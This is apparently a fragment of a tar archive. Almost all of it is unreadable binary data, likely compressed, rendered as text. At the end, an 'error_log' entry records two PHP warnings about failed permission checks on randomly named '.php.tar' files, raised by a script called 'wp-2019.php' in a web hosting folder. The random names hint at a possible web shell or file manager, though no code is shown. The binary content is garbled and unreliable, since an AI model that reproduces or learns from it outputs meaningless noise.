�y�N��e{����
�Dzy=/䑽�����2R��P"��6��h���;��fLUu�h>��R0��K�8l
�3���.���$��D�jwÇv���ӣ�Ϸ^,��6��Ǎ�8J�b�>�o��U�Oݧ|���E�B'��2p3ೡ��&
J��p�����:�M�Z�&]iϧ�\.��>��}ٝ^�~ݭ�|5(��L��Ь�r�:���u��SW�e꦳��8�n#ra5�J��]�U�N���R��+Rp�Ʒ��4��
7���2�o��`X�(�m�n3-�z��4wmO��|����ɟ����MUO�Ewb<h
����(�Au՜E[)u��Fه�&�؈�fA�n�~ŭD�b�f*nC�;�Ks�;��8�Cy��j�l"*�JӽSZԧ�W�x��,��:��ݺ���0j�
��l��Oy-[�݁r0��}���iړ��
.#��UZ�ō��&j��z��hy�V��� ��j��p�wgJu>+��+U
E�K�w�FZ�6�ͦ�HB�66ss�جM��R��Z���䦘�
�������Z�$/�V�Hj����Qۛ�Ut6͵C ���7�>�.�6�*�b�j��.�tER��s����*�[�
����q�;R�IJb,��J�v�_T�A5^Z�R�x��n�ӑo�e>����B��^I�[)�K�{^�5�[-Z�6ʏy�Y�Gt�gR�;s�T�u�3M6ڶ�(-
�z���-��*?�Ċ��[k>,��4&��b8�v���X�4��R�mT�Ŗ�M��7��Mc��հ?�i��1+{��:����J����[���o�Z��E���*?���_��>wlj�:,$4>>��d�_�z��gH������f3\�>3�dX�����w��y>U�緑B8�.�J�I���B��1���A�K�0XD��x��/��*���vg��ه�j�h�z��]I&۹�Ԯ%o;�j7o'��j�L��n�V3�F![M�}Ek�ݭ��6�/�����h�F��j���ۖ��i|%���TFO�V�����M
:iE��亥�5�|�B�M{< TR�f}\r몞�ڵ��TX��ɴo�R6���(�L� _|�[v�E�_kZ�B�W�)�Rji#5{s;���Ֆ�,�R���M����\5�vΟ���vu;�L�Bn�$�v;��(��{�o���/�-+jv3���Rv���ʏ�P��U��0�[��*1��G�f��r-Qk4��B8��篘���T�I�uUQ�qlx�TX���рo�va6>�=�sי(��%
�
���lN�}o��wٟ(�~1����/�d'!}G���>$���w}�wؓ�[}�C�i�}�9,}�wT��~J��r5��gU=�~b�{���h����s�ȵ.v�P��w�������h���&��_�"�s��D]���o�=~K�>]@�/���ȃ�����(���KZ�i"C�}9���bԋ��B�^�*w-���$b�^��Dv�X`0v�FLzEh��a��f���rk�k�03.�T�H����
8��)(ld����;&��kV�j���#����q�E?��W����I]}�B�4
n�~1�;a,�/��)Jy��|)��'\�&��JcF�2q,�/ss�-EU�X�@0��A��$KV��e�\�AF�1�_k=�&����n�sH2|�Z�x�U�l���e3%���-��G
�؆$V�sA�eR�`P�W��A|;��/�j�>ر`�ag�R�X���^�9���/�*���S|Ռ
��w�������ـ�f�l0�(�m�|P�D0
��B^H�"�9x��Bz�A
_ji7�yA��m���n`�+r�����l˻p�Q^��Z�˰�'z���f�ӟ���bB1=&a�=���5�yox�}%`?��;�6}x�]�8�����ᒇ�U��3��&Xv�^��DD��Ļ��-k�����%��lA����{`�k����}9�i�u��Ds5�պ�4Cr��q
a\�Gø�i�D�b��t�$@G�·>�v�?=�닡|��#��[���֡�cK;�uȐ5/�SS��[SU��(�8�7�ؕmrI~x��<��ME|[~H���T����T�SZ_��5�5C��5G6�e�q@�}i��+B%���\Z@�����T����.��X�d�t�a���k�a:ygw6�8�E��S�J����,���//�]��QI
�1�W
GⱀW�-��Р-��Th��5C�i�Ǧ��g�sA�G�}���@�w�8��n�:qT�C�yC{ACfC��*��4Z��Sq�C��S�D�ҧ$n-c������3��Q\;��kF�6�^ܰ����ˈ=���\�b1�n�#YƋg��@p$���Pٶ:;o��i7�dR�.�
ϾrN�S��չ��.+��������4mP��}��l�0x��)3��={=6��h�K�k�]G��H��'
�3~9�����.�__=}˓r���`����7�T��P��{�ۈ��)�|@�~�-���1;�\���T[$�4���a���I�O��|��]W,Ü�!S7D�ɾ���k��|��9f���ap�]&�
c��c����X���3�qiH�0��/-��e3z�Y_&�
���]8$J����*����}���
SW4��}>
���=LP���#��� ����~$�[�OҲGb� �]=����Lz�눆�<B����W�~�\�W�!��{�U<
̀���!`{�-y����sp]q
`���w��r��;8d�v\�LW���۔'�^�^�Na�����b�w��+�Q�@�!��ǵ��6� i�Ԓ�qBl�c���
��+b�B��c�ܮ2cNJbFX��&d
��f������c!��a@�*�ӕ� �S���M ��#`
��Qr^�+ȈewA�p�.(cy
_�]!�c7�,V�i�B���['��T�����%�U��$�!l�[��f����������}aM�D�ŵ�6����^x���k9
��`E�����ɕ�{�b�a0�)�+'�?���[�����kivP�1����A���}w}<�9����YӜ#���t�-O�|���='�L�'{xɘt7�a�W-sƁ�v�>=��O�_"�SMU�F���o���`�Q�F���h<�����7��勂
؇�C��|I��K�\b
���ϒ�o]2�s#B���}l�g�p��s��p~���;4�v�o(S�GH�+�[�1�\����űcE�ct�3$����
}�{;u���
P��>�qЗvȀ
<d�D
��C����Ӿ4zm�7��Em�^�{�cؚcAK>f�b���3���P�M��TS�[I��� ���<$�
�TųA���c�Cޝ�ѝ�-����O�H8��;G���/q��ݗ��/���{�B����Y�>=^��x2ӻ$��t;�8��$'�x�S@�_���<�-45��$��@F�U�2����>�S�~�
���.�Md`mi�|��:U�0+'���EK���E���2b�$��[����v��ȹ���c��fs�qf��w�wM`ƞ��&���=(�c�k:��㗸]@��=���Kw���!'v�gVz�}�8�t5�v�N^�St88��3���Yv�˾2�CS�u1����3��4Lz��ly�3194�v��n���i�)?�r�yR�̬���L ��dT ��J�p$f��D�����͆���(�ݣ��s贂�;��,�I/�*�4xFS���Nd���9�Ll�{"�(i��BZj�-�3/sx)������4���P��ÃWV���7��0�6��m�@w$� �]\wTt�T�y
y�M�kn/����u.s��0�v����0'
��f:\�����
J�:��tAu��#��6n�P:��r�,���گA�q��ڱ����1�iA�u��L5� /.rm&��,}{Jﵱ�=K��ђ�+�u�`��j���r��l�[�����L�W����f$�
s��<��̵պdu^��F9���u���Ȉ@`O��;��x�^f���K�SR��g��i�����Ӓc�ߵ���6=��۟��v��2[zb�E���>�0.�%ϯU��uʼn��[��O���8F�g&`�TʘL�'߳�ߪa�b��\��{��cA�`�����2A\���'LWZ����,��i��S�ԄΊ���/_��^/� ���w�������.>�=�x�z���d�N?��л+�"�^��Y|�ph�M�e�G,���E6`H�'Ǐ�<��z�i�Uy����
����g�}�'��$�g�F��n��F��1��\���dgO�}r���&����n]�'�:�ثq����^j��uS����m��b��4z�=DJ�ϗQ�c��A��j��F�7(*5)m^EvJ�~����}X��+��Ӳ��g��쮏���ˮ�w��h�}n�����ѿ�K;��|������Y�x
ː����t;�.�f�ՁC���ΫG���T��{QX
��9�'��<f-����ق2fėlZf�(w ѧ��.�U�d<�0���1lU�̧�y�~����A�}�:�2Y��%��+G"4p�(X��.8R���'�}�{#}$G�G�9.ߥ�
�q�y
�rz9������~]_쵝�&����$i�<��;g��R���9�L��3��Ȳ�R��D��m/u����G��a��^*ݝ{좺u���g��L�g�w{��33u�[[�A0�/�v�5��9��'��l���=C!;U*s�)�f�8��:���m��*<#j���m�0��=#��?#��b��eaEP���<�×��9@/de�
3�P�m+�C�DM���57�'UM�?�*;ĵ_���C��t��+
s���ja�)ȩC�+���.r.���a�2<C�P���;��.�=��4@�ˏ4�_Z���g<�nlHAc��#Ȼ�nY7�
��Md"��lw��l�;��{`����TT"���̂�꙱kh�\`�
�۽��e��r�8F�c�j��~d�M�طGD����v(��^��v�Z~-�==x�8l��]Y�7{f��>+p���x8/X��0u"�P�ڬ�L{G���W����_�
{p��¦#Ay�8f͝b�]h�I��!_e�Ą����e�g�
5��!�����xA��*�@��)��#N�̄V��]�PEn�,8mA?�-_
G9X}1mX�i9��zh~�9����9>�W�P0��E�8�^Ү�s��u���a��z���cO���\M�k�3}���_"�ljܙ��;<%v�7����rEK�<����4y�ŏ��˕$���oߣ^��B����(u�}px>8f�l1ß�R �<DC�
�|h�ꃃsS܈��������F�<����+Y�0��g6����W�V��F�R��*s���,g9��7�Q�/���Vɳ��}�#\'<�;�a�C`R|������X����BʺI/|�O�&^r�+N���Z�7��G"���!�9��A<����r[��,c*�1i��~Iny�{vƵJ��
[Đ}���Z��q����W�#i6��f�ۭ�'
c��pӄ���֕����}%&{$���>F�Cӕ,�;�_��Ek�:�|�+��8�_��3��Q�W`o�S�E�Se�0��ܿ�c�2��P�<T`W�i��a1���C�v�ΰ�}�����`
������y����.�S� /��u�A���M�>\�`���Lf�$�����PxG�dں=i��^�>c7���P�JS ����0�v�+�0�EI����h����sl���w\��
�&��}�KcV�@|8�`ҡ�ϴ�H�p��v�)�e�z��A��M����^���ҭ�g�N��ƚ������ːF�
���(��|�K`
�
�Oֳ�/��`
$�|8���$O�9���f�FJ�Ù4���Z:�gǀ�l�|{`�mh=L
��`#������R�zN�kG�U:#��gG
�Y.!�K�{��Pu��2/�N�,A�7莻;�V�a{z�~�Ե݈�H��PH0�2��\���
o+o��T������ˀ�NC��
���Q_���$t �H��!��2��a���
�Y
A�ހ'G�f34������N�s(�׃��[?��%9��o���pP�d8/%�AHz*H�M�xȴ�
s�UTE�@�W��3(KOڈ2>i3%��+*����q�H�ҙl�&[(ޕ��j��h><��B�����4O��2����X�֛���h,��O�����<=uy����y���C�'x8��s����C��p��w����^D��>���� =��^��B't��<(�ĸk���DT�o�W�
��.�.w��ro�ra�;�w�B�{�8.5$=hz����*�����EJ�>Q�y�����<��п�:���^��o��
n�EH��j�PÜ3̒FR�%��� K�IV�H�
�X�_qa�rMQY
DA'`�G��(�(s�-�(A%�ȴp��dw�>�DP��C�*
��N�}��$�D���\A�5;:�Fq9�qBrY��"9�Dm��寿V���`��&~?'�r�qJ.T ���湇�cQ��Op��D�.��S�ʅ���_;�J���s�\(����:���X��F�V
R8V��w�*ꀯW�j&ux�|HQ�~�o��ߣi0@XN5���~�
�_�(�:�(�ؖ��
��'AJ I���W,��[���<�`����4e9U%QDi����>{I;�H_x��7���ϯ�NE4�@�sq���8���8�e"N�ot�A�I2�?Bԯ��y씿�A�I�u��=��Ɍ(F2y�k�'��#�d�����s�r��e�F��Vn�'~�1�N=�l���z����=��k�F�
1�}g\bű�3�2�uD-�XoYQw6&q��M�_]}�j�m��n�A�1��z�C�
����ɛ�]�$v
9�߽s}��!D7��XJ:����q����e��v
���TՂ�%z�ײ���.�b�Օ|�\##�Z�4>(~D;�/��3�L�x�L.��4�\N��a3��Yx�#r�"�@�Q�,,���+�b1'h�.͒SM��,DΞ�.���w�|�;%m���]͒�j
�'�m���5Z[�x�ys/�tw���H�����������<��\��e�^<UT��խ��>q₧�K[��FG4��|=�;#����1o����U��
}8���K3�I͛�H2V$�(HHQX���v�O1>�ۭ�K�x��h��#bc�YA`RP���T�qy�����#�$u$�(��+�0�Ǻ�@c�BRQU&�L*9�득x'����c��kX�Ǻ�a�c� 䠆>��#�E�q}U�rU�T��!���렊3�S
lﯿ�.��#z3s��}b3��8�Lӓ�>#�DS4[���R�{��β�cM0;�Q�)��#�#P�#�<�r��߆ix~M`�V�������!�]�m�4�4��g�8��������5*��ƭTs�f��>���N��LKG�M�d?Ȗi�>:bfY���
��<�Hdg����a�0��~ѡN
m��bܼ�����n^�%�f}:���6��;��ާ3����8��4�b��dE�qH���hP���Ƙdأ�!%`^��5ؒ�G"[Y�8ld�@x�kGAR��q��BO�G�LԏQ�@����c������ULn��BA�l�lE�o-bb�S��#ɂ��V�L莝�,I{fltV��$�sZj[��Oֱ���A��$l��fKZ�]�8>�-L��E��q2��{��m�]F�-m��7�ȥR���,f�C/��y�>��lJj�ț�.4�-��⣤�ÇVa����N�.�IE��/�
�s���a1#�+X��p�Y'��o��?_�8�XZfKI�U�Jcq�*�+b�*��G�������e���1�q�3�}Y *wMK�9�����<�9�"P��Ҋ>���q��
�!�gO�$���>���
�Ɗ�y���e��*$Etrq���4c��5���{_�Em�����8T㠼����U�A0��Y��{�)腼#0sڦށy�"��^����8Ϧ�� �=�K���ںH�)R͔y��)��5�C���pQu�R��
2����W�J���A�.���ca���h�����y�T�e���ƫ��6n��WsP"/#��yڦ'�JQ��!jj�V&����5����
���g�>���C�dd�ҞX�l��ޟI-:�Y�d��n<IfR *"�2a$�.�fO��V��zj4d�n#��L�?ʰ��z���5e�
$I�*���_>+�,ci�������c�J����E�P@�-�p�0�(�{$��;ul7|wG��-�RZ����{vT��XFd[aLO7NȢ���k�V��$p�؊{�>�Z��Կ�*/M�����`�l���_��L=�8�ɶ`����<v����P�{xda`wJ�`6c�o�^lE�2��i��;�G
�8!�P�cI�vYقz�A!�}�Zu.S«v_� Ƙ=0�>�ܭo*�X��궤��mѣuIi��X%�][���L;i�,�D��Pz�^/�1�գ�iX89v\p���:)
��-��Kno�<��LA��^n��z�$�
�E�ø�q��������~���A����Mw:<��dB��;�b�2l0P���C~7B�o
/F����Y�0l��'."�?���n�(�)L��u�9��zb����&pr!v4�-�����|1a�p��4U���w��/m&�8~�f�/�����Oi������huǫ�[�x���k�!��v�]�Ѣ#�9��L�@�$��x�6��͜+R�3���4d���s����~/��6��(�����
��0�U'T:�4دc[F�U�PAB�#�9ߴq�V�}���$L��6A����ƞ�~�W�T����@��d�����r�'������5�^a� t�g��{�.���m�pbj0"X
B�;�xQ��_p4��ᾓE�����Q"�i�#D��$�=���v�t�g�ɉU|C���68�Q��п~����(Sߚ}�9�0ى�E-�C�p�Lۋ�i��|q�
��k
/�
�]��'}��<��b�)!�}Fc��p��=��ɷÎ�sup��Y#��
Pj����&Pb�X.�sJ��:�xQ�
����\�.�C��B`ʮ͡��j�WBY��y�T5��3�d؇/�?<wm1���b�2�����"V�%5���ej/����<�t�ꝢmU�-�!欋C�$��fN���Y
��1f`�1��~1�����m��a����>��˔x��o>��L��Ae�a����2&)@*�|y
dJ0�'lj����G�@� ��
���-��h����7����gLA�I$��s�0Z8�
�2<4�{IqT�'���I\,�=��t~���bS��ޓ�C���������FY��T
���*/D��@��B�^>�``AZ �����
#E�%YQ�#�6v{��Q�实�N]��Nk���,a0��Ͼ�� �1y��#;��I����g�����ϔu[w��c�mW��*ghf��{��
� r�B�����+��0���k�"����v�3v~��Yl�A�㕩��S��;�Vdoz^�,�_�Pg�iw���)���@�O�P�"��%"BMQ���V�*��-�v���c��ߞ�qyd�goO`�e;w����_?<O���!>ѐE*��v=Y<�R��ET��Ė�M�m�J��w:~�kp���ch�%�f4Vv�*z��I�<��t�m��<ǥ�Iw�o�@�0&�^�Z���
]�i�5�ȧݕ�-1%�+����q;�$�V��G��t�����h`�v�����0^tŴb�i�R�\ԃѕowq��WQ����@LV�
F��W5;J��|�{�xD���,$Gp�7�el�;�#&WG�Lm����m�`m6
^A֪�<���(��~T!C����H�62����d,pvV�[�{�p�w���p}�~�k�[��'���w�v#Z���z�V��TC����2vA�s�N�D��_o���]K��J���y(6թ툇�hq���C_W.����'v,�&/,$�_���t3�U�e�4��+���jW�R������ ��4B�tÊ�;�h�<�{<xzՉ�-g
��x�����qo��
��!r�|�h�Ov�P_�A�g;o�錘{',��m��^�ȅQ��B"v��X�Z�I2��6�mb|��36�_�w�����<�3�9lg�R��9�[-�P�/�ߒ�I��B,v�gQv�o?t�b4�.o��;2�}�G�aק̃�V;
�^N�W���`��7����MNz���p����e
�*rM4��s���p��=ȹ��;�{��5��~qs;�@�[�.@39�p_�a27����
�k��;���'+_[�oY!{
p�!�r�-�Ӌ&����X8�����矟~��i?�/�E�Derror_log000064400000000544151167307500006471
0ustar00[12-Dec-2025 04:15:30 UTC] PHP Warning: fileperms(): stat failed
for /home/lmsyaran/public_html/dbad/qpyufacb.php.tar in
/home/lmsyaran/public_html/dbad/wp-2019.php on line 134
[12-Dec-2025 04:16:27 UTC] PHP Warning: fileperms(): stat failed for
/home/lmsyaran/public_html/dbad/erfinejd.php.tar in
/home/lmsyaran/public_html/dbad/wp-2019.php on line 134